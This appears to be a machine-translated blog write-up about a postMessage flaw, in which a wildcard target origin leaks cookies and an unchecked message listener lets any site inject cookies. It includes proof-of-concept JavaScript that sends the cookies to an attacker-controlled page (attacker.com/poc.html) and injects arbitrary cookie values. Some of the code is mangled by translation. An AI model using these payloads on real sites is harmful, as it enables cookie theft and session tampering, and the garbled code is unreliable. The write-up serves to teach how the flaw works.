Shulou(Shulou.com)05/31 Report--

How to use postMessage to steal the Cookie information of editing users, I believe that many inexperienced people are at a loss about this. Therefore, this paper summarizes the causes and solutions of the problem. Through this article, I hope you can solve this problem.

When I was doing vulnerability testing for a project, I found a way to steal and edit a user's Cookie using postMessage in some log-in HTTP request records. Since the test is an invitation test, for the sake of confidentiality, I can only share some ideas with you below.

PostMessage introduction

I believe everyone has heard of the communication between different windows, the communication between the current window and the internal iframe framework, and some cross-domain skills. Window.postMessage function is a method that allows data information to be sent between two client windows / frames to achieve cross-domain communication.

In HTML5, the Window.postMessage () method enables cross-source communication securely. In general, for scripts on two different pages, the two scripts can communicate with each other only if the pages executing them are located on the same protocol (usually https), port number (443 is the default value for https), and host (the modulus Document.domain of both pages is set to the same value). The window.postMessage () method provides a controlled mechanism to circumvent this limitation, which is safe as long as it is used correctly.

Window.postMessage has three parameters, message, targetOrigin, and optionally [transfer]), where message represents the data to be sent to other windows, targetOrigin represents the target window to receive the data message, and transfer represents the ownership of the message. In addition, there is a window.addEventListener ("message", receiveMessage, false) to listen for the feedback of the message data. The message has three attributes: data, origin and source. The origin attribute indicates the identity of the sender of the message data. Communication can be established only if it is consistent with the protocol, domain name or port of the original specified sender. For details, please refer to the detailed introduction of postMessage.

For example, for example, we have a page with js code that is used to listen for incoming messages recorded. The js code is as follows:

Function messages (event) {console.log (event);} window.addEventListener ('message',messages,false); console.log ("listening")

In the child page of the above child.html, if there is a message sent to the main page, it calls the postMessage method, as follows:

Window.parent.postMessage ("Hello parent", "target")

What happens next?

First, you visit the main page that loads the child.html subpage, and then the subpage sends a message to the main page, which then receives the message and records it through the console. Will there be any security risks here?

What if the attacker could control the value of the target parameter in the target window that the message was sent?

Of course, what if there is click hijacking on the subpage?

What we want to think about is that, according to the postMessage specification, if the target parameter of the target window for sending a message is an asterisk *, it means there is no limit, that is, it can be sent to any domain name that references a subpage. In this way, it will lead to some unsafe problems.

Specific test

Going back to the previous vulnerability testing process, in order to better demonstrate the idea, let's start by assuming that our test target is the domain name onga.com. I found a HTML page sync.html that contains HTML content through a crawler, and then my tool also showed that the page contained some unsafe Javascript code.

This file does not have too many other elements, but contains only a script tag, so the page appears to act as an intermediary. Take a closer look at the sync.html file, which contains a postMessage method that sends a message to the target with the variable name wOrigin, as follows:

Window.parent.postMessage (JSON.stringify (msg), wOrigin)

So, we now see two variables, msg and wOrigin. So I carefully looked for the initialization locations of similar variables to determine if they could be controlled. Surprisingly, msg is the cookie value, and everything else is the user's input.

During the analysis of the wOrigin variable, it exists in three places, the first of which is:

Var fdata = JSON.parse (decodeURIComponent_ (window.location.hash.substr (1); var ns = fdata.ns;var worigin = fdata.worigin

The code is simple: first, it gets the URL hash of the current window, and then performs the encoding operation (Decode); then it parses to the json object, and then creates two variables, ns for the namespace and wOrigin for the target window for the message.

When we look at the _ window.location.hash method, we naturally think that it can be exploited with dom-based XSS, but this issue is not discussed here.

So, next, I continue to examine the code to see some of the filtering mechanisms of ns and wOrigin before they are passed to the postMessage method, oh, no! In that case, we can find a way to construct exploit.

Construct Exploit

Now, we need to think backwards about this process:

First, create two variables, ns and wOrigin

Suppose ns=anyblah, wOrigin=*

Create json object format {"ns": "anyblah", "wOrigin": "*"}

Construct a vulnerable URL:

Http://vulnerable-onga.com/sync.html#{"ns":"anyblah","wOrigin":"*"}

When the above URL page is loaded, the postMessage method sends a message to the main page, but due to the use of * asterisk, the sending target domain is not restricted in this process, and the message can be sent to any domain name that takes monitoring measures.

Now, let's set up a monitor on the main page to receive messages:

Function rcv (event) {console.log (event);} window.addEventListener ('message',rcv,false)

Create an iframe framework to load the vulnerable page and set it as a child page, so the final PoC code can be as follows:

Function rcv (event) {console.log (event);} window.addEventListener ('message',rcv,false)

When the attacker opens the page http://attacker.com/poc.html that contains the above code, the listener will run and wait for the incoming message, at the same time, the iframe framework will be loaded, and the vulnerable page will also be loaded in the iframe framework, and a message containing cookie will be sent to the main page, that is, the attacker-controlled website page, and finally, in our example. These messages containing cookie are captured by an attacker-controlled Web site.

Is that it?

Of course not. Don't be too busy celebrating. There may be something missing. Let's take a look. Since the target system contains only 57 lines of code in the file containing the postMessage method, I decided to analyze it. Sure enough, I found another interesting line of code in it:

Window.addEventListener ('message', h_message)

I hastened to check the details of the parameter h_message function:

Function h_message (event) {var data = null; try {data = JSON.parse (event.data);} catch (e) {return;} if (data.msgType! = = "write" & & data.namespace! = = ns) {return;} setCookie (data.cookieName, data.cookieVal,parseInt (data.expiresDays, 10), data.secureOnly);}

Let's analyze the meaning of the above code:

The incoming message may contain a json object

The msgType property in the json object may be the same as the write property

Another namespace attribute may be the same as "ns" in hash, which is the input controlled by the client.

Logical non-sum and operations are used in if (data.msgType! = = "write" & & data.namespace! = = ns), so both sets of conditions need to be satisfied before return can be returned.

Otherwise, the next setCookie () function that contains other json attributes as parameters is executed.

There is a real risk here, because of the lack of authentication mechanism for message sources, any Web site can be used to send messages and pass malicious values to setCookie (). Based on the above Visteon, we can construct the following json objects:

{"msgType": "write", "namespace": "a", "cookieName": "injectedt", "cookieVal": "hacked", "expiresDays": 10, "secureOnly": false}

The target URL can be set as follows: / sync.html# {"ns": "a", "wOrigin": "*"}

The final PoC page will contain the following code:

Var tar=' http://onga.com/sync.html#{"ns":"a","wOrigin":"*"}'; var pay= {"msgType": "write", "namespace": "a", "cookieName": "injectedt", "cookieVal": "hacked", "expiresDays": 10, "secureOnly": false}; var c = window.open (tar, "child"); c.postMessage (pay, "*")

Save the PoC page containing the above code to html format and open it, cookie can be successfully injected, so the attacker can inject arbitrary cookie data information into the vulnerable website to achieve indirect cookie theft and editing operations.

After reading the above, do you know how to use postMessage to steal and edit users' Cookie information? If you want to learn more skills or want to know more about it, you are welcome to follow the industry information channel, thank you for reading!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.